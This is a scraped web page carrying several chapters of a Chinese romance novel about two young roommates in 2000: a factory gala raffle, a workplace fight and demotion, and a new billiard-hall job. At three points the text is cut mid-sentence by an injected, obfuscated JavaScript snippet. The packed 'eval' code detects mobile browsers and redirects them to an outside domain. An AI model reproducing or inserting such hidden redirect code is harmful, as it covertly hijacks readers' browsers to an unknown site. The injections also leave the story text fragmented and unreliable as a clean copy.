昌灵没见过这种翻下来就能坐的椅子,来回翻了两回才坐下,谁设计出来的,还挺有意思。 易阁脸拉得老长,隔着昌灵踢了踢陈家旺,“把脚放下来,有点素质吧,你踩那么脏人家前面怎么坐。” 陈家旺:“卫生委员啊你。” 昌灵看着从自己腿弯底下伸过去的那条腿,心道还挺长。 礼堂的灯是黄色的。 前排即将落座的女同事看见了陈家旺还没来得及撤回来的脚,原本想回头理论,正对上他一副‘你能拿我怎么样’的嘴脸,忍了又忍,最后只小声说了句“真讨厌”。 随即弯下腰擦干净了椅面,转回去之前还不忘再瞪一眼陈家旺。 昌灵看在眼里,往陈家旺身边侧了下头,说:“这个厂子里的人好像都认识你呢,这就叫臭名昭著吗?” “啧,怎么说话呢妹妹。” “你爸不是这里的老师傅吗,他也不管你?” “你别说是我爸,就算是天王老子来了——”说着陈家旺猛地蹬了下腿儿,不偏不倚踹在了前排椅背上。 女同事嗖地转过头瞪他。 “——他也管不着我。”陈家旺坚持说完了后半句。 “疯疯癫癫的,你有病啊!”女同事忍无可忍道。 “我又不是故意的。” “你!”女同事还要说什么,却被身旁一起的伙伴拉了下胳膊。她这才发现,跟陈家旺隔着一个座位的人,是易阁。 “易工,你也坐这里啊。”同事抿了抿嘴,微微笑着说。 易阁点了下头。 ? 昌灵的视线跟着这位态度一百八十度大转弯的同事落到易阁身上,没想到这‘人见人爱’的盛况居然在三九八也能看到。 她心里莫名有点不舒服。 在学校这样也就罢了,现在这个单位男人那么多,还是有漂亮的女同事喜欢易阁。 反观自己,在西乡只能嫁给王德富那样的烂人,在这里这么久了,好像也就只有一个不高不低的普通工人子弟岳金平有些喜欢她。 不管在哪,易阁都是那么游刃有余。 昌灵下意识掐了下手心,觉得不甘心、不公平。 易阁原本打谱说今晚上不给昌灵好脸色看,好让她知道该如何跟陌生男人保持距离,尤其是她喜欢的人还在场的情况下! 结果办公室的女同事跟他打招呼时,易阁意外看见了昌灵被掐出痕迹的手心,掐这么用力,难道是吃醋了? 易阁微微弯了下嘴角,脊背放松向后靠在椅子上,和声细语地说:“别胡思乱想了,好好看节目吧,我猜你会喜欢。” 昌灵被他没头没尾的话吓了一跳,惊恐地“啊”了一声。 易阁目视前方,淡然道:“专心一点。” 专心一点,不要胡思乱想…… 昌灵现在专心不了一点,他怎么知道自己在想什么?难道易阁还会什么读心术吗? 28. 2000 台上为表演小品布置道具的串场空隙,昌灵第三次对上了前排女同事回头偷看易阁的视线。 对方被发现了也不躲,大大方方地朝她笑笑再转回去。 反观她左边的当事人,正全神贯注地看着舞台上的人忙忙碌碌搬东西,似乎对这类目光早已习以为常。而右边的陈家旺,早在先前唱歌节目时就已经睡着了。 这些隐藏在背光角落里的暧昧心思仿佛只有她一个人注意到,昌灵不自觉地有些懊恼。 又说不清在懊恼些什么。 小品逗得礼堂里满是此起彼伏的笑声。在明暗交替的灯光下,昌灵恍惚在前方抱着孩子的家属身上,看到了昌俪的影子。 她鬼使神差地想,如果姐姐还在,也能抱着孩子出来看节目吗? 纷杂笑声里,易阁没有听见身旁熟悉的声音,偏过头才发现昌灵好像走神了,半垂着眼睫。 “你想什么呢?”他好奇地低声问道。 昌灵茫然地抬头看他,像是没反应过来。 目光相接的瞬间,易阁只觉得她的眼睛非常漂亮。 像森林里走失的小鹿,无辜又迷茫。 可昌灵并不无辜。 她蓦地扬起嘴角,眼眸里闪着狡黠又灵动的光,说:“陈家旺在打呼噜,听着很像猪。” 易阁机械性扫了一眼陈家旺,嗯,是很像,还是披头发的猪。 灯光乍亮。 小品结束了。 昌灵收回目光跟着众人一起鼓掌。余光里,易阁呆呆的好像不太高兴,并没有什么动作。 不应该说他朋友像猪的,昌灵反思道,毕竟他们两个人才是真朋友,自己和易阁只不过是合租的室友而已。 但她刚才一下子确实没想到更好的解释,诚实的在眼下这种喜庆的氛围里提起昌俪?昌灵自觉没那么扫兴。 “各位亲爱的同事们、朋友们,下面就是大家期待已久的抽奖环节——”主持人吹了吹话筒,欢欣鼓舞地说道。 “嗯?”昌灵眨了眨眼睛,“抽奖吗?” 易阁停顿片刻,应了声“啊”。 “总算抽奖了。”陈家旺适时地幽幽转醒,大幅度伸了个懒腰,好巧不巧又蹬了前排椅背一脚。 女同事转过头对着昌灵:“你能不能管管他啊。” 昌灵:“啊?” 我吗? “我怎么管?”她礼貌地反问道。 女同事“切”了一声把头转了回去。 昌灵扭头看向陈家旺,陈家旺无所谓地说别搭理她,抽奖重要。 昌灵皱了下眉,觉得莫名其妙。 三九八的开年抽奖还是挺正式的,奖品给的也很实用。特等奖是一台大冰箱,一等奖是台彩电,后面还有几台小洗衣机,小电风扇。 员工和家属都能参加,从抽奖箱里往外抽座号,公正合理。 “大家在自己的位置上坐好啊,不要随意走动啦。”一句话主持人重复了三遍。 昌灵很兴奋,默念着自己的“249号”。 易阁是248号,陈家旺看完椅背上的数字默默骂了一声“草”。 奖是从小抽到大的。眼见着电风扇、洗衣机都各自有了好归宿,昌灵越发紧张起来。 “易阁。”她小声说,“如果我们抽到冰箱,以后就可以包点饺子冻起来吃。” “前提是你真能抽得到。”易阁说。 “万一呢,概率都是一样的,为什么不能是我?” 易阁闻言笑了下,“可能吧。” 有什么好笑的……昌灵撇了撇嘴。 陈家旺没听到他们的对话,但不耽误他自己做梦,说:“妹妹,如果他一会儿念特等奖是二百五,你愿意替我站起来吗?” “呃。”昌灵扯了扯嘴角。 易阁嗤笑道:“都点你大名了还不自己站?” 陈家旺挥拳以作警告,“你说话注意点儿啊,我打人绝不手下留情。” 易阁还是笑。 昌灵左右看看,半晌认真问陈家旺:“我替你站的话,如果真抽到了,那冰箱算谁的?” 陈家旺拧着眉思考,片刻后说:“那到时候我就把冰箱卖了,钱分你三分之一怎么样?” “成交。” 易阁无语地看着商量的有模有样的两个人,无情地泼了桶凉水,“等你们真中奖了再商量也不晚。” 昌灵懒得跟他说,决定跟陈家旺统一战线。 “哥,抽到了咱俩分啊。” 陈家旺跟她击了个掌。 “下面,我们将要抽出今天的特等奖,让我们看看会是谁呢——” 昌灵攥了攥拳头。 “他就是——” 昌灵屏住了呼吸。 “二百——四十——” 昌灵张大了嘴巴。 “——六号!” “啊!是我!!!” 昌灵猛地朝左侧蹦起来的那人看过去,当即泄了气。 “就差一点。”她失望道。 易阁倒像是全在意料之中,反应平平,“我就说,天上哪有掉馅饼的事儿。” 昌灵不想和他争辩,但明明就是掉馅饼了,只不过没有砸到她头上。 目送246号一路小跑上去发表获奖感言,昌灵的沮丧溢于言表。 看来是真的很想要。易阁想了想,安慰她说,如果真的喜欢,那到时候也买一个新的好了。 昌灵冷冷地问:“你知道这么大的冰箱要多少钱吗?” 易阁:“……” 他没去商场看过,他还真不知道。 “三千。”昌灵伸出三根手指,“你知道三千是什么概念吗?就是你不吃不喝也要四五个月才能买得起,更别说我了。” 易阁怔愣在座位上,张开嘴却接不上话。 “没有抽到的同事们也不要失望哈,我们后勤部还给大家准备了安慰奖,三台电饭煲! “来,让我看看获得安慰奖的朋友坐在哪里呢——” 喇叭里又传来主持人开奖的声音。 昌灵没抱希望地垂眼盯着自己的手心,片刻后被陈家旺猛猛拍了拍肩膀: “二百四十九!灵儿是你哎!” “啊?”昌灵回神抬起头,这才发现前排的人都在回头看她,耳根顿时变得滚烫。 “站起来站起来。”陈家旺不由分说拉着她的胳膊往上提。 昌灵的衣服勾在椅子上,起身时扯的椅面回弹磕在横梁上。 啪的一声。 震得她心跳如雷。 “来,让我们恭喜二百四十九号。”主持人带头鼓掌,又问道:“我看你面生,不是我们厂子的女同事吧,是谁的家属呀?” 昌灵张了张嘴,不知道该说谁的名字。 她瞟了一眼自己左下方的熟悉面孔,可以说易阁吗? “你管那么多干嘛。”陈家旺不懂昌灵心里的弯弯绕绕,催促道:“快抽下一个吧,不是还有一个吗?” “呦,家旺啊。”主持人扫了一眼他们二人,片刻后意味深长地笑笑,“那我抽最后一个了?” “快点吧。” 昌灵在众人奇异的目光里直愣愣往下坐,被易阁一把捏住了手腕。 她骤然回头看—— 易阁把翻上去的椅子按了下来,面无表情地说:“你是想坐地上吗。” ** “二百四十九号是吧?需要登记一下是谁的家属才可以领奖品。”后勤负责发奖品的同事把登记表推到昌灵面前。 昌灵攥着圆珠笔眨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535023|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼,问:“为什么非要写这个?直接给我不行吗?” “当然不行,这是规定。” “我填这个名字会有什么影响吗?” “不会。”工作人员仔细看了一眼她的脸,又向后瞥了一眼门口等着的人,“但你不能写陈家旺啊,他不是我们厂子的人。” 房间门口,易阁和陈家旺正在聊什么。 这一刻,昌灵忽然明白了为什么大家看她的目光都是怪异的,原来这些人都以为她跟陈家旺是一对。 陈家旺是老师傅的家属,自己则是家属的‘家属’,纯占便宜来的。 昌灵咬了下嘴唇,原本就没多高兴的心情又增添了份难堪。 “能不能快点?后面还等着呢。” “不好意思。”她小声跟身后排队的人道歉。 易阁的位置不远,听到声音主动走上前,“怎么了?还没写完?” “他们让我填表。” “填啊。” “要填是谁的家属,说不能写陈家旺。” “写陈家旺干嘛?”易阁说着把她手里的笔抽出来,在表上快速写写画画,片刻后递还给工作人员,说:“这不就行了吗。” “啊,行的。”工作人员带着丝惊讶把电饭煲抱出来。 东西没多大,易阁单手夹在手肘里侧招呼昌灵往外走。 昌灵盯着外包装上电饭煲的简笔画,心中充斥着难以言喻的复杂。 如果最开始是她先抽中了电饭煲,那么不管后面的人是不是大冰箱,昌灵都会觉得高兴。 可现实是她在别人拥有了大冰箱之后,才得到了一个小小的电饭煲,昌灵很想知足的,可她却怎么也高兴不起来。 人就是这样,贪心不足蛇吞象。昌灵自嘲般笑了笑,在这个领奖的小屋子里,她又一次直面了自己性格的阴暗面。 “昌灵。” 房间外的走廊里,岳金平倚着墙壁等在不远处。 跟陈家旺隔了段距离。 昌灵看了一眼易阁,才回答道:“有事吗?” “领奖品呢。”岳金平笑着说。 “嗯。” “你是跟易工住同一栋楼对吧,周末有空吗,我们可以一起去看电影。” 为什么要问是不是住同一栋楼,还我们?昌灵有点不理解。 她略微思索片刻,真诚地说:“你想请易阁看电影直说就好了,不用问我的。” 岳金平当场呆若木鸡。 易阁拧着眉一头雾水。 倒是另一边看热闹的陈家旺,呛得直咳嗽。 昌灵来回看着这三个人,问:“怎么了?” 岳金平尴尬地笑笑,“你误会了,我的意思是想跟你看电影,不是和易工。” “这样啊。”可昌灵觉得没劲透了,“但我没时间,我的工作不休假的。” “啊?” “没其他事的话我们就先走了,很晚了。”昌灵说完跟他挥了挥手,轻轻推了下易阁的胳膊示意他往外走。 走出去一段距离后,陈家旺还在扭着脖子偷笑。易阁磨了磨牙,没好气地问昌灵:“你刚才是怎么想的?岳金平想跟我看电影,这话说出来你自己不觉得荒谬吗?” 昌灵眨眨眼:“哦,我以为他就是这个意思呢。” 那他提什么和易阁住同一栋楼,直说想约自己看电影不行吗? ** 目送三个人的身影拐出厂子的办公楼,岳金平进屋跟发奖品的工作人员打了声招呼,顺便翻了一下登记表。 从刚才看见易阁抱着电饭煲时他就觉得不对劲。 249号写在表格下方,不出他所料,后面登记的名字果然是易阁。 岳金平手指点着表格上的两个字,眼神掺了些许不满。 29. 2000 雁山城的春天回温很快,眨眼间过冬的衣服就已经穿不上了。 深夜十点半,昌灵走在下班的路上想,到家之后可以在剩米饭里加点水,熬粥喝。 虽然那个小电饭煲在提高生活品质这方面没什么帮助,但煮起米饭来还是挺方便的。 不过让她有些意外的是,今天家里没有给她留灯。往常就算易阁先睡了,厨房那盏瓦数小的灯也总是亮的。 昌灵在门口换鞋时试探着喊了一声易阁的名字,无人回应。 还没回来? 她微微蹙眉拍开灯,先往易阁的房间看了一眼,门是开着的,人没在。 今天加班吗? 居然比她回来的还要晚。 昌灵想了想,把所有的剩饭都一起煮了粥,这样等易阁回来也能喝一点。 但电饭煲只有微乎其微的保温功能,希望他能早点回来,不至于二次通电再浪费一份钱。 她吃了一顿十分安静的晚饭。 简单冲完了澡,昌灵靠在沙发上昏昏欲睡。她其实不想等易阁的,无奈自己睡在客厅里,易阁没回房间之前她始终睡得不安心。 不知道过了多久,昌灵忽然打了个冷颤,人也连带着清醒了几分。初春的夜晚还是凉的,坐不住人。 她随手扯过已经铺好的被子裹上,瞄了一眼墙上的钟表,已经十一点半了。 就算加班也不应该这么晚吧? 正当昌灵犹豫着要不要给易阁车间打个电话问一下,别是出了什么事情,就听见汽车发动机的轰鸣声由远及近,最终停在了卧室的窗户下方。 在这里住了几个月,她都没遇见过谁家开着车。 发动机的声音消失后,楼下传来了几句模糊不清的对话声。 昌灵好奇心作祟,蹑手蹑脚来到窗前。就算知道楼下的人多半不会抬头看,看也不会看清她的脸,昌灵还是半蹲着身体双手扒在窗台上,只露出两只眼睛。 完全合格的偷窥者姿态。 车灯亮着。汽车外面站着两个男人,双手背后和对面的人交谈着什么。衣服穿得板正合身,轮廓上都透露着刻板严肃的味道。 至于对面的人,身型被楼体完全遮挡住,从昌灵的角度只能看到两双鞋,也是两个人。 她莫名觉得这里面有易阁在。 果不其然,汽车刚开出去没多久,家门外就响起了一阵纷杂的脚步声。 ** 刚迈上一楼的台阶,易阁立刻把胳膊从陈家旺肩膀上收回来,“行了,他们走了。” 陈家旺嘘了一声伸长了脖子往下看,确定没人之后才松了口气,烦躁地说:“他们知道你家在哪,以后不会还要上门吧。” 那还真说不好。 “以后的事以后再说吧。”易阁情绪不高,“今天谢谢你了,抽空我请你吃饭。” 陈家旺听完转身继续上台阶,边走边说:“改日不如撞日。” 易阁抬手拦住他,“很晚了,这事明天再说吧。” 陈家旺翻了个白眼:“你以为我跟你还有什么好说的?我去跟昌灵说。” “这事跟她没关系。” “那什么跟她有关系?你别看昌灵年纪小,我敢说她知道以后肯定跟我站一边。” 易阁抿着嘴不说话。 “走走走。”陈家旺领先两步走在前面,“我忙了一晚上,都还没来得及喝口水。” 人到门口,易阁钥匙还没拿出来,门就应声而开。 “你怎么才……”门里的昌灵呆愣愣地看着他的脸,忘了说后半句。 好傻,易阁看见她的表情莫名笑了出来,扯得嘴角一阵刺痛。 昌灵猛地把门一下子推开,焦急道:“你脸怎么了?你们打架了?!” 易阁嘴边的笑意还未散尽,半真半假地说:“对,他打的。” 陈家旺闻言唰地举起手做投降状,“没错是我打的,但我可以解释。” 昌灵听得云里雾里,眉头皱得更深。 陈家旺:“进去说吧妹妹,有吃的没?” “有……” “太好了,给我来点。”陈家旺打了个响指,“对了,不用准备易阁的。他脑子不是正常人,吃不了我们正常人的饭。” 易阁懒得跟他斗嘴,便没有接茬,搞得昌灵更加摸不着头脑。 “到底发生什么事了?”她盛了两碗粥,各自放在两个莫名其妙的人面前。 陈家旺凑近闻了闻,“香,有白糖没?” “没有。”易阁说,“你爱喝不喝。” “我跟你说话了吗,我问你了吗。” “这是我家,不喝就滚。” “哇我好害怕,怎么,易工准备连我一起打——” “行了!”昌灵用力拍了下桌子,桌前阴阳怪气的两个人纷纷噤了声。 家里的灯够亮,她这才看清了两个人现在是什么状况。易阁右边的颧骨青了一大块,嘴角也渗着丝丝血迹,右手缠着厚厚的绷带。陈家旺倒是没什么明显外伤,但梳好的头发凌乱不少。 “不是你们两个打架。”片刻后她得出结论。 对面喝粥的两个人身型皆是一顿。 昌灵看向易阁,语气十分肯定:“是你,你跟谁打起来了?” 易阁想,观察力还挺强。 他叹了口气,实话实说:“跟岳金平他们。” “为什么?”昌灵犹豫片刻,不确定地问:“难道是因为我?” 有一小部分原因吧。但易阁说:“不是。” “那是为什么?” 直到此刻,昌灵才知道易阁在三九八具体是做什么工作。原来不是她以为的车间工人,而是办公室人员。 易阁之前从没跟她提过。 “所以你的意思是,因为你总是记他迟到缺勤,他心里不满,所以才?” 易阁‘嗯’了声。 “他怎么是这样的人。”昌灵眉头紧锁,“他们几个人啊?就打你一个?” “哎——”听到这,陈家旺插话道,“妹妹,这话你可就说错了。” 昌灵:? “易阁牛着呢,一打三,全打趴下了,一点儿亏都没吃。” 昌灵神色茫然,“那这是?” “我打的。”陈家旺说。 昌灵:? “他一打三哎,这叫什么,叫殴打同事!”陈家旺随手把碗磕在桌子上,“易阁,你不会还以为这是你们村里吧,随便打人也没人管,说动手就动手?在这里,打人是要蹲局子的你懂不懂?! “岳金平什么人,他舅舅是车间主任你不知道啊?今天要是没我在你脸上这两拳,他们就能直接污蔑你单方面殴打同事,这事会变成什么性质?你想过后果没有! “别说你工作保不保得住,真要是记在档案里了,你以为后面还能找到什么好工作?” “……” 昌灵听明白了。 易阁打架,身体上确实没吃亏,但其他方面差点吃了大亏。真要是因为一下子打了三个同事而闹到派出所,别说工作不保,搞不好还要拘留的。 她掐了下手心,尽量保持镇静地问陈家旺:“那现在怎么样?你们能回来是不是说明没什么事了?” 陈家旺叹气:“现在他也有伤,单位记的是双方互殴。岳金平那边人多,怎么看打起来都是易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535024|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁更吃亏,他舅舅压着没把事闹大,应该有回旋的余地。只要他还想保住他外甥的工作,就得保住易阁的。” 也是,没道理弱势方的处罚更重。昌灵点了点头,稍稍放下心来。 “那他们人呢?你们一晚上都去哪了?” “医院呗。”陈家旺说,“幸亏我今天在三九八附近,接到他同事的电话说出事了立马就赶过去了,要不然你今天可见不着他。” 易阁忍着痛喝粥,不反驳,不讲话。 昌灵问:“岳金平伤的很严重?那他不会说易阁的伤不是他打的吗?” “鼻梁断了吧,看着是挺惨的。”陈家旺不在意地摆摆手,“那时候人那么混乱,谁说的清楚是谁打的,反正是岳金平先动的手,不少人都看见了。” 说着他踢踢易阁的马扎,“我知道你能打,但下次也注意点吧,别打容易留外伤的地方,尤其是脸。” 易阁说知道了。 昌灵神色担忧,一时又不知道该说什么。 “哦还有个事。”陈家旺又说,“我们从医院出来的时候,听岳金平他舅舅跟其他领导说,好像是想让易阁跟岳金平换岗位。” 昌灵脱口而出:“凭什么?” “易阁不是受害者吗?” “是吧,我也这么想的。”陈家旺瞥了易阁一眼,“但人家不啊,易工说了,换就换呗,反正他也不想在办公室干了。” “为什么?”昌灵不理解。 易阁沉默片刻,低声说:“不为什么,不想在办公室干了,去车间也挺好的。” “……这不对吧。”昌灵有点茫然,“车间的人努力工作不就是为了能坐办公室吗,你一开始就在办公室了,为什么还要去车间啊?” 不都说人往高处走吗? 易阁盯着喝空的碗,沉默不语。 陈家旺走之前叮嘱易阁先好好休息,他明天再让他爸去厂子里打听打听。 易阁说:“麻烦了。” “不麻烦,你就别送了,让我表妹送我下楼得了。” 昌灵听出他还有话想跟自己说,附和道:“那我送你下楼。” 易阁手不方便,短期内是没办法再刷碗了。他只能把碗端进厨房里,再老实回床上躺着。 昌灵陪人走到楼道口,率先开口问:“家旺哥,你是不是还有话跟我说。” “聪明。”陈家旺倚在楼梯扶手上,“你之前不是说让我帮你找工作吗,还真让我找到一个。” “真的?”昌灵大喜过望,“谢谢哥。” “你先别着急谢,话我说在前面啊,我是觉得这工作比你天天摆摊卖衣服强,但易阁不同意,他不让我跟你说。” 昌灵疑惑不已,“这是什么意思?” “是这么回事啊,我有一哥们儿过段时间要开一家台球厅,可以给你留个收银的位置。目前说是两班倒,你要是想去,时间、工资都可以跟他谈。” 这不好吗? “易阁为什么不同意?” “他觉得台球厅不正经呗。”陈家旺拍着胸脯说,“但我能跟你保证,我朋友绝对是正经人,你在那,肯定是安全的。” 昌灵一愣,她倒是没想到这方面。 片刻后,她问:“易阁不让你告诉我,那你怎么还说?” “嗨,我觉得你活得比他通透。” 陈家旺走后,昌灵站在台阶上出神了很久。直到夜风吹透了她的毛衣,她才抱着胳膊缓缓上楼。 洗刷完毕躺在沙发上,昌灵的脑海中还在不停回想陈家旺临走前说的话: “易阁这个人什么都好,就是有些方面太古板了,你跟他可不一样。” 30. 2000 最开始易阁说要去诊所换药,昌灵想来想去还是不放心,非要跟着一起去。结果绷带解开一看,还没有以前易阁他妈打他时伤的重,昌灵也就随他去了。 这点伤,按她的想法都不用去诊所,自己就能帮他换。 反正以前又不是没干过。 但易阁人矫情,非说她系得蝴蝶结丑,死活不肯让她碰。 后来昌灵仔细观察过,也没觉得医生包的有多好看,也就和她半斤八两的水平吧。 易阁伤好得快,三九八的处罚通知下来得更快。 岳金平作为挑事的领头人,直接发配到郊区的分厂工作,另外两个人动手的人也一并罚了过去。 易阁虽说是受害者,但下手没轻重,打得岳金平一干人在医院住了好几天,下调到装卸车间——就是老陈师傅所在的车间。 昌灵一开始觉得这样也还不错,虽然不能在办公室工作很可惜,但能跟着陈师傅,起码易阁不会再吃什么亏。 可后来陈家旺告诉她,岳金平去分厂,听起来是‘发配边疆’,实则是在分厂坐办公室。除了上班的地点不在市中心,职位是明降暗升,工资还涨了三分之一,气得昌灵一晚上都没睡好。 在城里有关系就是这样有恃无恐。 结果第二天她跟易阁提起来这件事,人家反倒像个旁观者,淡淡地反问她一点小事有什么好生气的,他在装卸车间搬搬扛扛比在办公室轻松不少。 昌灵拧眉看着他外套上不小心从机床上沾来的机油,黑乎乎一片,咬了咬牙觉得恨铁不成钢。 这个处罚根本就不公平,为什么不能再争取一下呢? 这件事陈家旺是跟她统一战线的,甚至老陈师傅还提出愿意帮易阁向上反映情况,但被易阁婉拒了。 老陈师傅理解他,觉得人各有志,不是所有人都适合混办公室。陈家旺不理解,但他懒得管。 只有昌灵,虽然这事跟她没关系,但她还是暗自生了好几个月的闷气,多看易阁一眼都觉得烦。 直到陈家旺朋友的台球厅快要开业,联系她去面试,昌灵的注意力才从易阁的工作转到自己的工作上。 天气逐渐热起来,两个人谁也睡不踏实,经常醒来黏糊糊一身汗,不得不早起冲个凉再去上班。 易阁把擦头发的毛巾随手搭在沙发扶手上,套了件纯棉的黑短袖就去厨房里煎荷包蛋。 今天轮到他做早饭,昌灵毛病多,说是不爱吃煮鸡蛋。 原本他做完饭的时间跟昌灵洗漱完的时间是对的上的,结果今天蛋都要凉透了,昌灵还没从卫生间出来。 易阁微微皱眉,起身过去敲了敲门:“昌灵,你干嘛呢?” “唔,你先吃吧,不用管我。”隔着门板,昌灵的声音听着像是张不开嘴。 易阁有点好奇,又不太放心,沉吟片刻问道:“你没事吧?是不是哪里不舒服?” 这段时间昌灵店里的衣服忙着换季,她的工作量比之前多很多,下班之后经常累到不想说话。易阁嘴上不问,但心里都清楚。 昌灵第一时间没回答,随后解开了卫生间的门锁,说:“进来吧,你要照镜子还是洗衣服?” 易阁没想到她门开得这么利索,有些尴尬地倚在门口,顺便看清了昌灵在忙什么——她正对着镜子仔仔细细涂口红,甚至已经化好了淡淡的眼影。 “你要干嘛去?”见此情景易阁更好奇了。 昌灵抿了抿口红,转头问他:“怎么样,好看吗?” “还行。”易阁如实说,“这口红好红,显得你老了好几岁。” “那是几岁?” “得有二十了。” 出乎意料的,昌灵听完也不生气,笑吟吟地说:“那就行。” 行什么?易阁一头雾水,“你到底要去哪啊?” 昌灵也没想瞒他。陈家旺先前叮嘱过,台球厅是不要未成年人的,老板是看他的面子才破例让昌灵去,所以叫她面试的时候穿得别太像个小孩了,容易在其他面试者之间引起不必要的非议。 易阁越听脸越黑,沉声道:“你真的想去什么台球厅上班?” 昌灵闻言合口红盖的手一顿,抬眸欣赏了一会儿镜子中熟悉又陌生的脸庞,这才看向他轻声说:“为什么不想?” 易阁一下子气笑了。 半晌他耐着性子:“你知不知道台球厅都是些什么人?” “你去过?” “没去过难道还没听说过吗?” 昌灵点点头,“可我去过。” 易阁一愣。 只听昌灵语调平缓地说: “我去的是清风巷子那家,他家的地理位置没有家旺哥朋友那家好,但生意很好,几乎每天都有不少人。而且里面吃喝都有,夏天还有空调,环境比我在地下商场不知道好多少倍。 “家旺哥介绍的那家店环境只会比他们更好。 “最关键的是,人家都在屋里啊,我不用再心惊胆战生怕忽然变天下雨,淋湿了衣服怎么办,车轱辘又陷在泥地里骑不出来怎么办。”昌灵说,“我不想再淋雨了,起码不想让自己觉得我好像还没有那些衣服金贵。” 易阁看着她认真的脸,忽然想起上个月下暴雨那天,昌灵淋得像个落汤鸡,每一根发梢都在滴水。后来给她倒水喂感冒药时,昌灵蔫了吧唧地说,幸好衣服没淋湿,不然还不知道那点工资够不够赔衣服钱。 ——她把雨伞全遮在衣服上了。 易阁有些说不出话。 昌灵笑了笑,正红的唇色更添几分明媚,“所以只要不用风吹日晒,工资还能涨一些,不管里面的客人什么样,我都是要去的。” 见易阁神色还是凝重,她又补充道:“家旺哥说了,老板是正经人,我是去干收银的,就算真有什么万一,他也会保护好我的,你放心吧。” 易阁闻言转开脸,别别扭扭地想,跟我有什么关系,我有什么好不放心的。 ** 这家台球厅的环境比昌灵想象中更好。 空调风扇一应俱全不说,店铺位于柳岸街的主干道上,出门走几步就有一个公交站台,比地下商场离家近多了,交通也更方便。 工作时间早九晚十二,两班倒,白班几乎跟易阁在国营单位的上班时间一样,晚班还给报销打车的钱。 前台收银的工作也简单,打扫打扫卫生,偶尔摆摆球补补货,固定工资五百,没有销售任务,但如果能拉来客户,照样给提成。 老板看昌灵长得漂亮又会算账,也很满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535025|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。说如果她同意来,就给她再办个假/身/份/证,应付来检查的人。 昌灵从台球厅出来时才松开掐进手心里的指尖,深吸了一口初夏湿热的空气,忽然觉得自己的前途一片大好。 她费尽千辛万苦才从西乡的群山环绕中逃出来,绝不能困在一个小小的地下商场消磨时光。就算进不了三九八那种大单位,也要在她能选择的范围里选一个最好的。 眼下台球厅就是那个最好。 ** 这个月的机械装卸单时间催得紧,装卸班组加班加点干了好几天,今天难得准时下班。 易阁回家的路上拐了个弯儿,去市场买了半斤卤菜和半个西瓜,准备回家煮点米饭就着吃。天热,昌灵不在家时他都这么凑合。 楼道里潮得地面好似能渗出水来,连带着易阁的外套都粘在身上。他觉得不舒服,脱了外套搭在肩膀上,只穿着一件黑背心上楼。 干了小半年装卸工,易阁身上的肌肉变结实很多,人也黑了两度。 但还是瘦的。 昌灵拎着一整只烤鸭跟在后面默默想道。 “嗯?”易阁迈了几级台阶,才看见身后不声不响的昌灵,脚步一顿,“你今天怎么回来的这么早?” 昌灵笑着追上他:“我下午去商城辞职来着,还买了烤鸭,一起庆祝我找到新工作吧。” 易阁刚想说什么,手臂上却蓦地传来一阵黏腻的摩擦感。昌灵跑得急,胳膊不小心蹭在了他的身上,一触即分。 他脑袋一空,突然忘了自己原本想说什么,只记得昌灵的胳膊温度有些低。 “怎么又不说话?”昌灵说着抬眼看向他。 明眸皓齿。 这个瞬间,易阁想,她确实当得上这四个字。 “没有,看你买了一整只烤鸭,这是有钱了啊。”他把外套扯下来搭在手臂上,隔在自己和昌灵中间。 “是啊,发工资了嘛。” 昌灵像是不在意他莫名的举动,三两步跑上去开门。易阁迈进家门时,只觉得屋子里空气都流通起来,弥漫着和昌灵身上如出一辙的柑橘味道,和之前他单独在家时很不一样。 “哎对了。”昌灵放下烤鸭又忽地转身过来拍了下他的外套,“我昨天在柴房里看见一台风扇,旧是旧了点,要不你搬上来看看能不能用呗?” 有风扇? 易阁“哦”了声,转身就要下楼,又被昌灵出声叫住。 “怎么了?”易阁问。 昌灵无辜地眨眨眼,而后指了一下他的手:“你不把东西放下吗,怕我偷吃啊?” 易阁:…… “不是。”他手忙脚乱地把东西和衣服一并塞进昌灵怀里,头也不回地出了门。 电风扇是立式的,看年岁应该不长,但被房东常年放在柴房里,轴承和罩网部分都生了锈。昌灵用抹布把灰尘擦干净后先通电试了试,还能转,就是左右摆头时会一卡一卡的,看起来很呆。 “这个东西能不能修一修啊?”她蹲在风扇前仰着头问。 夏装的领口比较大,易阁不好意思出声提醒,也不敢低头看,只僵硬地盯着风扇轴承,喉咙有些发紧。 一字一句说:“那我明天去车间找点砂纸回来磨一磨。” 31. 2000 比半夜热醒还要痛苦的是,半夜被风扇吱嘎吱噶的声音吵醒。 并且这个风扇,它不怎么凉快。 